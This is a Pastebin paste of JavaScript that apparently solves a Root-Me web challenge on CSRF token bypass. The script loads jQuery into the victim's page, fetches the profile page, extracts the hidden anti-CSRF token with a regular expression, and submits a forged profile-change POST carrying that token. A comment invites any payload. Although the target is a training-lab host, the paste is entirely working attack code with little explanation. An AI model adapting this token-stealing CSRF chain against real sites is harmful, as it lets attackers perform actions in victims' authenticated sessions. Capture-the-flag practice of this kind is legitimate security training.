Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. // Load JQuery dynamically in the targeted context
  2. var headx = document.getElementsByTagName('head')[0];
  3. var jq = document.createElement('script');
  4. jq.type = 'text/javascript';
  5. jq.src = 'http://code.jquery.com/jquery-latest.min.js';
  6. headx.appendChild(jq);
  7.  
  8. // Function with JQuery AJAX request
  9. // This function requests an internal WebGUI page, which contains the token.
  10. // Source code of this webpage is passed to the extractToken() function.
  11. function loadToken(){
  12. $.ajax({
  13. type: 'POST',
  14. url: 'http://challenge01.root-me.org/web-client/ch23/?action=profile',
  15. contentType: 'application/x-www-form-urlencoded;charset=utf-8',
  16. dataType: 'text',
  17. data: '',
  18. success:extractToken
  19. }); // after this request, we called the extractToken() function to extract the token
  20. }
  21.  
  22. // Function called after AJAX request in a defined page of the context, which contains the token value
  23. function extractToken(response){
  24. // response var contain the source code of the page requested by AJAX
  25. // Regex to catch the token value
  26. var regex = new RegExp("<input type='hidden' name='token' value='(.*)' />",'gi');
  27. var token = response.match(regex);
  28. token = RegExp.$1;
  29. // Pass the token to the final function which make the CSRF final attack
  30. makeCSRF(token);
  31. }
  32.  
  33. // This function use JQuery AJAX object.
  34. // The token var is needed to perform the right CSRF attack with the context referer
  35. function makeCSRF(token){
  36. // Final CSRF attack with right referer (because executed in the context)
  37. // and with right token captured above
  38. $.ajax({
  39. type: 'POST',
  40. url: 'http://challenge01.root-me.org/web-client/ch23/?action=profile',
  41. contentType: 'application/x-www-form-urlencoded;charset=utf-8',
  42. dataType: 'text',
  43. data: 'submit=Submit&username=lol&status=checked&token=' + token
  44. }); // payload of your choice
  45. }
  46.  
  47. // Waiting 2 secondes for correct loading of JQuery added dynamically.
  48. // Then, run the first AJAX request in the WebGUI context to retrieve the token
  49. setTimeout('loadToken()', 2000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement